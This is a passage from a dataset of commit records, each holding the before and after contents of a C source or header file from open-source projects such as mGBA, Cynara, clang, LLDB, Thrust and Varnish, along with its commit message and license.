{"commit":"265bbe4f8fed33baff0f6340ac0f36965b2f24ed","old_file":"src\/gba\/renderers\/video-software.h","new_file":"src\/gba\/renderers\/video-software.h","old_contents":"#ifndef VIDEO_SOFTWARE_H\n#define VIDEO_SOFTWARE_H\n\n#include \"gba-video.h\"\n\n#include <pthread.h>\n\nstruct GBAVideoSoftwareRenderer {\n\tstruct GBAVideoRenderer d;\n\n\tuint16_t* outputBuffer;\n\tunsigned outputBufferStride;\n\n\tunion GBARegisterDISPCNT dispcnt;\n\n\tpthread_mutex_t mutex;\n\tpthread_cond_t cond;\n};\n\nvoid GBAVideoSoftwareRendererCreate(struct GBAVideoSoftwareRenderer* renderer);\n\n#endif\n","new_contents":"#ifndef VIDEO_SOFTWARE_H\n#define VIDEO_SOFTWARE_H\n\n#include \"gba-video.h\"\n\n#include <pthread.h>\n\nstruct GBAVideoSoftwareBackground {\n\tint index;\n\tint enabled;\n\tint priority;\n\tuint32_t charBase;\n\tint mosaic;\n\tint multipalette;\n\tuint32_t screenBase;\n\tint overflow;\n\tint size;\n\tuint16_t x;\n\tuint16_t y;\n\tuint32_t refx;\n\tuint32_t refy;\n\tuint16_t dx;\n\tuint16_t dmx;\n\tuint16_t dy;\n\tuint16_t dmy;\n\tuint32_t sx;\n\tuint32_t sy;\n};\n\nstruct GBAVideoSoftwareRenderer {\n\tstruct GBAVideoRenderer d;\n\n\tuint16_t* outputBuffer;\n\tunsigned outputBufferStride;\n\n\tunion GBARegisterDISPCNT dispcnt;\n\n\tstruct GBAVideoSoftwareBackground bg[4];\n\n\tpthread_mutex_t mutex;\n\tpthread_cond_t cond;\n};\n\nvoid GBAVideoSoftwareRendererCreate(struct GBAVideoSoftwareRenderer* renderer);\n\n#endif\n","subject":"Add struct for keeping track of background state","message":"Add struct for keeping track of background state\n","lang":"C","license":"mpl-2.0","repos":"Anty-Lemon\/mgba,sergiobenrocha2\/mgba,mgba-emu\/mgba,Iniquitatis\/mgba,Touched\/mgba,askotx\/mgba,Anty-Lemon\/mgba,Iniquitatis\/mgba,fr500\/mgba,libretro\/mgba,jeremyherbert\/mgba,askotx\/mgba,askotx\/mgba,fr500\/mgba,AdmiralCurtiss\/mgba,fr500\/mgba,matthewbauer\/mgba,Anty-Lemon\/mgba,bentley\/mgba,sergiobenrocha2\/mgba,mgba-emu\/mgba,mgba-emu\/mgba,jeremyherbert\/mgba,libretro\/mgba,cassos\/mgba,cassos\/mgba,sergiobenrocha2\/mgba,iracigt\/mgba,zerofalcon\/mgba,iracigt\/mgba,Touched\/mgba,libretro\/mgba,jeremyherbert\/mgba,nattthebear\/mgba,MerryMage\/mgba,iracigt\/mgba,zerofalcon\/mgba,fr500\/mgba,sergiobenrocha2\/mgba,matthewbauer\/mgba,askotx\/mgba,MerryMage\/mgba,AdmiralCurtiss\/mgba,libretro\/mgba,cassos\/mgba,iracigt\/mgba,jeremyherbert\/mgba,MerryMage\/mgba,bentley\/mgba,libretro\/mgba,AdmiralCurtiss\/mgba,nattthebear\/mgba,Iniquitatis\/mgba,Anty-Lemon\/mgba,mgba-emu\/mgba,Touched\/mgba,sergiobenrocha2\/mgba,Iniquitatis\/mgba,zerofalcon\/mgba"}
{"commit":"7558b9540b6c51b9822c63bbbdf42da282b1a7c1","old_file":"src\/include\/cynara-creds-commons.h","new_file":"src\/include\/cynara-creds-commons.h","old_contents":"\/*\n *  Copyright (c) 2014 Samsung Electronics Co., Ltd All Rights Reserved\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License\n *\/\n\/*\n * @file        cynara-creds-commons.h\n * @author      Lukasz Wojciechowski <l.wojciechow@partner.samsung.com>\n * @version     1.0\n * @brief       This file contains common APIs for Cynara credentials helper.\n *\/\n\n\n#ifndef CYNARA_CREDS_COMMONS_H\n#define CYNARA_CREDS_COMMONS_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* empty initial file *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* CYNARA_CREDS_COMMONS_H *\/\n","new_contents":"\/*\n *  Copyright (c) 2014 Samsung Electronics Co., Ltd All Rights Reserved\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License\n *\/\n\/*\n * @file        cynara-creds-commons.h\n * @author      Lukasz Wojciechowski <l.wojciechow@partner.samsung.com>\n * @author      Radoslaw Bartosiak <r.bartosiak@samsung.com>\n * @author      Aleksander Zdyb <a.zdyb@partner.samsung.com>\n * @version     1.0\n * @brief       This file contains common APIs for Cynara credentials helper.\n *\/\n\n\n#ifndef CYNARA_CREDS_COMMONS_H\n#define CYNARA_CREDS_COMMONS_H\n\nenum cynara_client_creds {\n    CLIENT_METHOD_SMACK,\n    CLIENT_METHOD_PID\n};\n\nenum cynara_user_creds {\n    USER_METHOD_UID,\n    USER_METHOD_GID\n};\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* empty initial file *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* CYNARA_CREDS_COMMONS_H *\/\n","subject":"Add enums for credentials acquire methods","message":"Add enums for credentials acquire methods\n\nChange-Id: I5719a7622a78ae6d1ca86a7dcce986c69abb3e23\n","lang":"C","license":"apache-2.0","repos":"Samsung\/cynara,Samsung\/cynara,pohly\/cynara,pohly\/cynara,pohly\/cynara,Samsung\/cynara"}
{"commit":"9c48a952435797ead8239b7e0c9d5eeda1d7f999","old_file":"lib\/libmid\/errstr.c","new_file":"lib\/libmid\/errstr.c","old_contents":"#include \"..\/..\/include\/mid.h\"\n#include <SDL\/SDL_error.h>\n#include <stdarg.h>\n#include <errno.h>\n#include <string.h>\n\nenum { Bufsz = 1024 };\n\nstatic char curerr[Bufsz + 1];\n\nvoid seterrstr(const char *fmt, ...)\n{\n\tva_list ap;\n\tva_start(ap, fmt);\n\tvsnprintf(curerr, Bufsz + 1, fmt, ap);\n\tva_end(ap);\n}\n\nconst char *miderrstr(void){\n\tint err = errno;\n\n\tif (curerr[0] != '\\0') {\n\t\tstatic char retbuf[Bufsz + 1];\n\t\tstrncpy(retbuf, curerr, Bufsz);\n\t\tretbuf[Bufsz] = '\\0';\n\t\tcurerr[0] = '\\0';\n\t\treturn retbuf;\n\t}\n\n\tconst char *e = SDL_GetError();\n\tif(e[0] != '\\0')\n\t\treturn e;\n\n\treturn strerror(err);\n}\n","new_contents":"#include \"..\/..\/include\/mid.h\"\n#include <SDL\/SDL_error.h>\n#include <stdarg.h>\n#include <errno.h>\n#include <string.h>\n\nenum { Bufsz = 1024 };\n\nstatic char curerr[Bufsz];\n\nvoid seterrstr(const char *fmt, ...)\n{\n\tva_list ap;\n\tva_start(ap, fmt);\n\tvsnprintf(curerr, Bufsz, fmt, ap);\n\tva_end(ap);\n}\n\nconst char *miderrstr(void){\n\tint err = errno;\n\n\tif (curerr[0] != '\\0') {\n\t\tstatic char retbuf[Bufsz];\n\t\tstrncpy(retbuf, curerr, Bufsz - 1);\n\t\tretbuf[Bufsz - 1] = '\\0';\n\t\tcurerr[0] = '\\0';\n\t\treturn retbuf;\n\t}\n\n\tconst char *e = SDL_GetError();\n\tif(e[0] != '\\0')\n\t\treturn e;\n\n\treturn strerror(err);\n}\n","subject":"Change buffer sizes to ease stk5.","message":"Change buffer sizes to ease stk5.\n","lang":"C","license":"mit","repos":"velour\/mid,velour\/mid,velour\/mid"}
{"commit":"c083b0c24035620ec14db062fff8e62bd689c237","old_file":"test\/Driver\/compilation_database.c","new_file":"test\/Driver\/compilation_database.c","old_contents":"\/\/ RUN: %clang -MD -MP -c -x c %s -xc++ %s -Wall -MJ - 2>&1 | FileCheck %s\n\/\/ RUN: not %clang -c -x c %s -MJ %s\/non-existant 2>&1 | FileCheck --check-prefix=ERROR %s\n\n\/\/ CHECK: { \"directory\": \"[[CWD:[^\"]+]]\",  \"file\": \"[[SRC:[^\"]+[\/|\\\\]compilation_database.c]]\", \"output\": \"compilation_database.o\", \"arguments\": [\"{{[^\"]*}}clang{{[^\"]*}}\", \"-xc\", \"[[SRC]]\", \"-c\", \"-Wall\", \"--target={{[^\"]+}}\"]},\n\/\/ CHECK: { \"directory\": \"[[CWD:[^\"]+]]\",  \"file\": \"[[SRC:[^\"]+[\/|\\\\]compilation_database.c]]\", \"output\": \"compilation_database.o\", \"arguments\": [\"{{[^\"]*}}clang{{[^\"]*}}\", \"-xc++\", \"[[SRC]]\", \"-c\", \"-Wall\", \"--target={{[^\"]+}}\"]},\n\/\/ ERROR: error: compilation database '{{.*}}\/non-existant' could not be opened:\n\nint main(void) {\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang -MD -MP --sysroot=somewhere -c -x c %s -xc++ %s -Wall -MJ - 2>&1 | FileCheck %s\n\/\/ RUN: not %clang -c -x c %s -MJ %s\/non-existant 2>&1 | FileCheck --check-prefix=ERROR %s\n\n\/\/ CHECK: { \"directory\": \"[[CWD:[^\"]+]]\",  \"file\": \"[[SRC:[^\"]+[\/|\\\\]compilation_database.c]]\", \"output\": \"compilation_database.o\", \"arguments\": [\"{{[^\"]*}}clang{{[^\"]*}}\", \"-xc\", \"[[SRC]]\", \"--sysroot=somewhere\", \"-c\", \"-Wall\", \"--target={{[^\"]+}}\"]},\n\/\/ CHECK: { \"directory\": \"[[CWD:[^\"]+]]\",  \"file\": \"[[SRC:[^\"]+[\/|\\\\]compilation_database.c]]\", \"output\": \"compilation_database.o\", \"arguments\": [\"{{[^\"]*}}clang{{[^\"]*}}\", \"-xc++\", \"[[SRC]]\", \"--sysroot=somewhere\", \"-c\", \"-Wall\", \"--target={{[^\"]+}}\"]},\n\/\/ ERROR: error: compilation database '{{.*}}\/non-existant' could not be opened:\n\nint main(void) {\n  return 0;\n}\n","subject":"Make test case slightly more robust by explicitly passing --sysroot. Otherwise it would change when DEFAULT_SYSROOT is provided.","message":"Make test case slightly more robust by explicitly passing --sysroot.\nOtherwise it would change when DEFAULT_SYSROOT is provided.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@288823 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"79ecdd107f7531d36f69d6e7089b4a685a370312","old_file":"src\/graphics_tb.h","new_file":"src\/graphics_tb.h","old_contents":"#ifndef __GRAPHICS_TB_H__\n#define __GRAPHICS_TB_H__\n\n#include <termbox.h>\n\n#include \"models.h\"\n#include \"graphics.h\"\n\ntypedef struct {}   graphics_tb_t;\n\n\/\/ graphics_tb initialize the graphic module.\ngraphics_tb_t *graphics_tb_init();\n\n\/\/ graphics_tb_draw draws the given state on the screen.\nvoid graphics_tb_draw(void *context, state_to_draw_t *state);\n\n\/\/ graphics_tb_quit terminate the graphic module.\nvoid graphics_tb_quit(graphics_tb_t *tg);\n\n\n#endif\n","new_contents":"#ifndef __GRAPHICS_TB_H__\n#define __GRAPHICS_TB_H__\n\n#include <termbox.h>\n\n#include \"models.h\"\n#include \"graphics.h\"\n\ntypedef struct {}   graphics_tb_t;\n\n\/\/ graphics_tb initializes the graphic module.\ngraphics_tb_t *graphics_tb_init();\n\n\/\/ graphics_tb_draw draws the given state on the screen.\n\/\/\n\/\/ We do not use `graphics_tb_t *tg` but `void *context` because this function\n\/\/ is used as a callback and the caller shouldn't have to know about\n\/\/ graphics_tb. This way, this module is pluggable.\nvoid graphics_tb_draw(void *context, state_to_draw_t *state);\n\n\/\/ graphics_tb_quit terminates the graphic module.\nvoid graphics_tb_quit(graphics_tb_t *tg);\n\n\n#endif\n","subject":"Add an explanation for graphics_*_draw prototype","message":"Add an explanation for graphics_*_draw prototype\n","lang":"C","license":"mit","repos":"moverest\/bagh-chal,moverest\/bagh-chal,moverest\/bagh-chal"}
{"commit":"d1e345a13ca28825b672aa8e75e9f5d0f48be1bd","old_file":"overseer.c","new_file":"overseer.c","old_contents":"\/\/ vim: sw=4 ts=4 et filetype=c\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"overseer.h\"\n#include \"iface_lcd.h\"\n#include \"iface_uart.h\"\n#include \"iface_w1_gpio.h\"\n\nint main()\n{\n    sensor_t *sensor_array = malloc(SENSOR_ARRAY_LENGTH * sizeof(*sensor_array));\n    size_t actualsize      = getSensorList(sensor_array);\n    char outbuf[16];\n\n    (void)uartInit();\n\n    lcdClear();\n\n    int i = 0;\n\n    for (i = 0; i < (int)actualsize; i++)\n    {\n        printf(\"Sensor %d (%s) = %g degrees C\\n\",\n               i, sensor_array[i].filename, sensor_array[i].reading);\n        snprintf(outbuf, 16, \"s%d = %3.1f\", i, sensor_array[i].reading);\n        lcdWrite(outbuf);\n    }\n    return 0;\n}\n","new_contents":"\/\/ vim: sw=4 ts=4 et filetype=c\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#include \"overseer.h\"\n#include \"iface_lcd.h\"\n#include \"iface_uart.h\"\n#include \"iface_w1_gpio.h\"\n\nint main()\n{\n    sensor_t *sensor_array = malloc(SENSOR_ARRAY_LENGTH * sizeof(*sensor_array));\n    size_t actualsize      = getSensorList(sensor_array);\n    char outbuf[16];\n    int i = 0;\n    time_t t;\n    struct tm *tmp;\n\n    \/\/ Initialize the display\n    (void)uartInit();\n    lcdClear();\n\n    \/\/ Produce a hunk of output for munin\n    for (i = 0; i < (int)actualsize; i++)\n    {\n        printf(\"sensor_%s.value %g\\n\",\n               sensor_array[i].filename, sensor_array[i].reading);\n    }\n\n    \/\/ Output the current time to the display\n    t = time(NULL);\n    tmp = localtime(&t);\n    if (tmp == NULL)\n    {\n        snprintf(outbuf, 16, \"Time: NULL\");\n    }\n    else if (strftime(outbuf, 16, \"%a %H:%M\", tmp) == 0)\n    {\n        snprintf(outbuf, 16, \"Time: INVALID\");\n    }\n    lcdWrite(outbuf);\n\n    \/\/ Output two temperatures to the display\n    if((int)actualsize > 1)\n    {\n        snprintf(outbuf, 16, \"0=%3.1f 1=%3.1f\",\n                 sensor_array[0].reading, sensor_array[1].reading);\n    }\n    else if((int)actualsize > 0)\n    {\n        snprintf(outbuf, 16, \"Temp: %3.1f\", sensor_array[0].reading);\n    }\n    else\n    {\n        snprintf(outbuf, 16, \"NO DATA\");\n    }\n    lcdWrite(outbuf);\n\n    return 0;\n}\n","subject":"Adjust output to LCD and console","message":"Adjust output to LCD and console\n\nBetter kitchen usefulness w\/ a timestamp.\nAlso munin support!\n","lang":"C","license":"mit","repos":"rtucker\/raspi-fridge-overseer,rtucker\/raspi-fridge-overseer"}
{"commit":"228304d144861aa3e13384835aea7dc51fae140f","old_file":"include\/lldb\/Host\/freebsd\/HostInfoFreeBSD.h","new_file":"include\/lldb\/Host\/freebsd\/HostInfoFreeBSD.h","old_contents":"\/\/===-- HostInfoFreeBSD.h ---------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef lldb_Host_freebsd_HostInfoFreeBSD_h_\n#define lldb_Host_freebsd_HostInfoFreeBSD_h_\n\n#include \"lldb\/Host\/posix\/HostInfoPosix.h\"\n\nnamespace lldb_private\n{\n\nclass HostInfoFreeBSD : public HostInfoPosix\n{\n  public:\n    bool GetOSVersion(uint32_t &major, uint32_t &minor, uint32_t &update);\n    bool GetOSBuildString(std::string &s);\n    bool GetOSKernelDescription(std::string &s);\n};\n}\n\n#endif\n","new_contents":"\/\/===-- HostInfoFreeBSD.h ---------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef lldb_Host_freebsd_HostInfoFreeBSD_h_\n#define lldb_Host_freebsd_HostInfoFreeBSD_h_\n\n#include \"lldb\/Host\/posix\/HostInfoPosix.h\"\n\nnamespace lldb_private\n{\n\nclass HostInfoFreeBSD : public HostInfoPosix\n{\n  public:\n    static bool GetOSVersion(uint32_t &major, uint32_t &minor, uint32_t &update);\n    static bool GetOSBuildString(std::string &s);\n    static bool GetOSKernelDescription(std::string &s);\n};\n}\n\n#endif\n","subject":"Fix FreeBSD build after r215992","message":"Fix FreeBSD build after r215992\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@216021 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb"}
{"commit":"2044a19198c1a178b0994ece8db9286099586ed4","old_file":"text_widget.c","new_file":"text_widget.c","old_contents":"\/\/ Copyright 2017, Jeffrey E. Bedard\n#include \"text_widget.h\"\n#include \"XSTextWidget.h\"\n#include \"font.h\"\n#include \"xdata.h\"\nshort xstatus_draw_text_widget(struct XSTextWidget * widget)\n{\n\txcb_connection_t * xc = widget->connection;\n\tstruct JBDim font_size = xstatus_get_font_size();\n\txcb_image_text_8(xc, widget->buffer_size, xstatus_get_window(xc),\n\t\txstatus_get_gc(xc), widget->offset, font_size.height,\n\t\twidget->buffer);\n\treturn widget->offset + font_size.width * widget->buffer_size;\n}\n","new_contents":"\/\/ Copyright 2017, Jeffrey E. Bedard\n#include \"text_widget.h\"\n#include \"XSTextWidget.h\"\n#include \"config.h\"\n#include \"font.h\"\n#include \"xdata.h\"\nshort xstatus_draw_text_widget(struct XSTextWidget * widget)\n{\n\txcb_connection_t * xc = widget->connection;\n\tstruct JBDim font_size = xstatus_get_font_size();\n\txcb_image_text_8(xc, widget->buffer_size, xstatus_get_window(xc),\n\t\txstatus_get_gc(xc), widget->offset, font_size.height,\n\t\twidget->buffer);\n\treturn widget->offset + font_size.width * widget->buffer_size\n\t\t+ XSTATUS_CONST_PAD;\n}\n","subject":"Include configured padding in offset calculation.","message":"Include configured padding in offset calculation.\n","lang":"C","license":"mit","repos":"jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus"}
{"commit":"324243f6bb70687aeaeb2419193a335648c5869d","old_file":"thrust\/detail\/config\/cpp_dialect.h","new_file":"thrust\/detail\/config\/cpp_dialect.h","old_contents":"\/*\n *  Copyright 2018 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#ifdef _MSC_VER\n  #define THRUST_CPP_VER _MSVC_LANG\n#else\n  #define THRUST_CPP_VER __cplusplus\n#endif\n\n#if   THRUST_CPP_VER < 201103L\n  #define THRUST_CPP03\n  #define THRUST_CPP_DIALECT 2003\n#elif THRUST_CPP_VER < 201402L\n  #define THRUST_CPP11\n  #define THRUST_CPP_DIALECT 2011\n#elif THRUST_CPP_VER < 201703L\n  #define THRUST_CPP14\n  #define THRUST_CPP_DIALECT 2014\n#else\n  #define THRUST_CPP17\n  #define THRUST_CPP_DIALECT 2017\n#endif\n\n#undef THRUST_CPP_VER\n","new_contents":"\/*\n *  Copyright 2018 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#if   __cplusplus < 201103L\n  #define THRUST_CPP03\n  #define THRUST_CPP_DIALECT 2003\n#elif __cplusplus < 201402L\n  #define THRUST_CPP11\n  #define THRUST_CPP_DIALECT 2011\n#elif __cplusplus < 201703L\n  #define THRUST_CPP14\n  #define THRUST_CPP_DIALECT 2014\n#else\n  #define THRUST_CPP17\n  #define THRUST_CPP_DIALECT 2017\n#endif\n\n","subject":"Revert \"Handle MSVC's definition of __cplusplus\"","message":"Revert \"Handle MSVC's definition of __cplusplus\"\n\nThis reverts commit 20e1c433e05c7147af5c267e0e0a38a781a6efb4.\n","lang":"C","license":"apache-2.0","repos":"thrust\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,thrust\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,andrewcorrigan\/thrust-multi-permutation-iterator,thrust\/thrust,thrust\/thrust,thrust\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,jaredhoberock\/thrust"}
{"commit":"2766579a314f92c3fdf3f87e7bb20e5a4e52c01b","old_file":"JPetUnpacker\/Unpacker2\/TDCChannel.h","new_file":"JPetUnpacker\/Unpacker2\/TDCChannel.h","old_contents":"#ifndef TDCChannel_h\n#define TDCChannel_h\n\n#include <fstream>\n#include <TObject.h>\n#include <TClonesArray.h>\n#include <iostream>\n\n#define MAX_FULL_HITS 100\n\nclass TDCChannel : public TObject {\n\nprotected:\n  Int_t channel;\n\n\tdouble leadTime1;\n\tdouble trailTime1;\n\tdouble tot1;\n\tdouble referenceDiff1;\n\n\tdouble leadTimes[MAX_FULL_HITS];\n\tdouble trailTimes[MAX_FULL_HITS];\n\tdouble tots[MAX_FULL_HITS];\n\tdouble referenceDiffs[MAX_FULL_HITS];\n\tint hitsNum;\n\n  \npublic:\n\n  TDCChannel();\n  ~TDCChannel();\n  \n  void SetChannel(Int_t channel) { this->channel = channel; }\n\tint GetChannel() { return channel; }\n\n\tint GetHitsNum() { return hitsNum; }\n\n\tvoid AddHit(double lead, double trail, double ref);\n\tvoid AddHit(double lead, double trail);\n\tdouble GetLeadTime1() { return leadTime1; }\n\tdouble GetLeadTime(int mult) { return leadTimes[mult]; }\n\tdouble GetTrailTime1() { return trailTime1; }\n\tdouble GetTrailTime(int mult) { return trailTimes[mult]; }\n\tdouble GetTOT1() { return tot1; }\n\tint GetMult() { return hitsNum; }\n\tdouble GetTOT(int mult) { return tots[mult]; }\n\n\n\n  ClassDef(TDCChannel,1);\n};\n\n#endif\n","new_contents":"#ifndef TDCChannel_h\n#define TDCChannel_h\n\n#include <fstream>\n#include <TObject.h>\n#include <TClonesArray.h>\n#include <iostream>\n\n#define MAX_FULL_HITS 50\n\nclass TDCChannel : public TObject {\n\nprotected:\n  Int_t channel;\n\n\tdouble leadTime1;\n\tdouble trailTime1;\n\tdouble tot1;\n\tdouble referenceDiff1;\n\n\tdouble leadTimes[MAX_FULL_HITS];\n\tdouble trailTimes[MAX_FULL_HITS];\n\tdouble tots[MAX_FULL_HITS];\n\tdouble referenceDiffs[MAX_FULL_HITS];\n\tint hitsNum;\n\n  \npublic:\n\n  TDCChannel();\n  ~TDCChannel();\n  \n  void SetChannel(Int_t channel) { this->channel = channel; }\n\tint GetChannel() { return channel; }\n\n\tint GetHitsNum() { return hitsNum; }\n\n\tvoid AddHit(double lead, double trail, double ref);\n\tvoid AddHit(double lead, double trail);\n\tdouble GetLeadTime1() { return leadTime1; }\n\tdouble GetLeadTime(int mult) { return leadTimes[mult]; }\n\tdouble GetTrailTime1() { return trailTime1; }\n\tdouble GetTrailTime(int mult) { return trailTimes[mult]; }\n\tdouble GetTOT1() { return tot1; }\n\tint GetMult() { return hitsNum; }\n\tdouble GetTOT(int mult) { return tots[mult]; }\n\n\n\n  ClassDef(TDCChannel,1);\n};\n\n#endif\n","subject":"Change TDCHits array size from 100 to 50","message":"Change TDCHits array size from 100 to 50\n\nFor consistency with the standalone version\nof the Unpacker.\n","lang":"C","license":"apache-2.0","repos":"kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework"}
{"commit":"f5eda040d34b33f438d562ae5cef8bf144d7f9fe","old_file":"bin\/varnishd\/mgt.h","new_file":"bin\/varnishd\/mgt.h","old_contents":"\/*\n * $Id$\n *\/\n\n#include \"common.h\"\n#include \"miniobj.h\"\n\nextern struct evbase\t*mgt_evb;\n\n\/* mgt_child.c *\/\nvoid mgt_run(int dflag);\nvoid mgt_start_child(void);\nvoid mgt_stop_child(void);\nextern pid_t mgt_pid, child_pid;\n\n\/* mgt_cli.c *\/\n\nvoid mgt_cli_init(void);\nvoid mgt_cli_setup(int fdi, int fdo, int verbose);\nint mgt_cli_askchild(int *status, char **resp, const char *fmt, ...);\nvoid mgt_cli_start_child(int fdi, int fdo);\nvoid mgt_cli_stop_child(void);\n\n\/* mgt_vcc.c *\/\nvoid mgt_vcc_init(void);\nint mgt_vcc_default(const char *bflag, const char *fflag);\nint mgt_push_vcls_and_start(int *status, char **p);\n\n\/* tcp.c *\/\nint open_tcp(const char *port);\n\n#include \"stevedore.h\"\n\nextern struct stevedore sma_stevedore;\nextern struct stevedore smf_stevedore;\n\n#include \"hash_slinger.h\"\n\nextern struct hash_slinger hsl_slinger;\nextern struct hash_slinger hcl_slinger;\n\n","new_contents":"\/*\n * $Id$\n *\/\n\n#include \"common.h\"\n#include \"miniobj.h\"\n\nextern struct evbase\t*mgt_evb;\n\n\/* mgt_child.c *\/\nvoid mgt_run(int dflag);\nextern pid_t mgt_pid, child_pid;\n\n\/* mgt_cli.c *\/\n\nvoid mgt_cli_init(void);\nvoid mgt_cli_setup(int fdi, int fdo, int verbose);\nint mgt_cli_askchild(int *status, char **resp, const char *fmt, ...);\nvoid mgt_cli_start_child(int fdi, int fdo);\nvoid mgt_cli_stop_child(void);\n\n\/* mgt_vcc.c *\/\nvoid mgt_vcc_init(void);\nint mgt_vcc_default(const char *bflag, const char *fflag);\nint mgt_push_vcls_and_start(int *status, char **p);\n\n\/* tcp.c *\/\nint open_tcp(const char *port);\n\n#include \"stevedore.h\"\n\nextern struct stevedore sma_stevedore;\nextern struct stevedore smf_stevedore;\n\n#include \"hash_slinger.h\"\n\nextern struct hash_slinger hsl_slinger;\nextern struct hash_slinger hcl_slinger;\n\n","subject":"Remove prototypes for no longer existing functions","message":"Remove prototypes for no longer existing functions\n\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@659 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"gauthier-delacroix\/Varnish-Cache,drwilco\/varnish-cache-drwilco,gauthier-delacroix\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,1HLtd\/Varnish-Cache,ambernetas\/varnish-cache,chrismoulton\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,zhoualbeart\/Varnish-Cache,feld\/Varnish-Cache,varnish\/Varnish-Cache,franciscovg\/Varnish-Cache,alarky\/varnish-cache-doc-ja,wikimedia\/operations-debs-varnish,varnish\/Varnish-Cache,feld\/Varnish-Cache,franciscovg\/Varnish-Cache,ambernetas\/varnish-cache,feld\/Varnish-Cache,wikimedia\/operations-debs-varnish,mrhmouse\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,feld\/Varnish-Cache,mrhmouse\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,mrhmouse\/Varnish-Cache,drwilco\/varnish-cache-old,ssm\/pkg-varnish,1HLtd\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,chrismoulton\/Varnish-Cache,ssm\/pkg-varnish,gquintard\/Varnish-Cache,drwilco\/varnish-cache-drwilco,zhoualbeart\/Varnish-Cache,ssm\/pkg-varnish,ajasty-cavium\/Varnish-Cache,wikimedia\/operations-debs-varnish,zhoualbeart\/Varnish-Cache,franciscovg\/Varnish-Cache,varnish\/Varnish-Cache,1HLtd\/Varnish-Cache,chrismoulton\/Varnish-Cache,chrismoulton\/Varnish-Cache,alarky\/varnish-cache-doc-ja,gquintard\/Varnish-Cache,gquintard\/Varnish-Cache,ambernetas\/varnish-cache,gquintard\/Varnish-Cache,varnish\/Varnish-Cache,drwilco\/varnish-cache-drwilco,zhoualb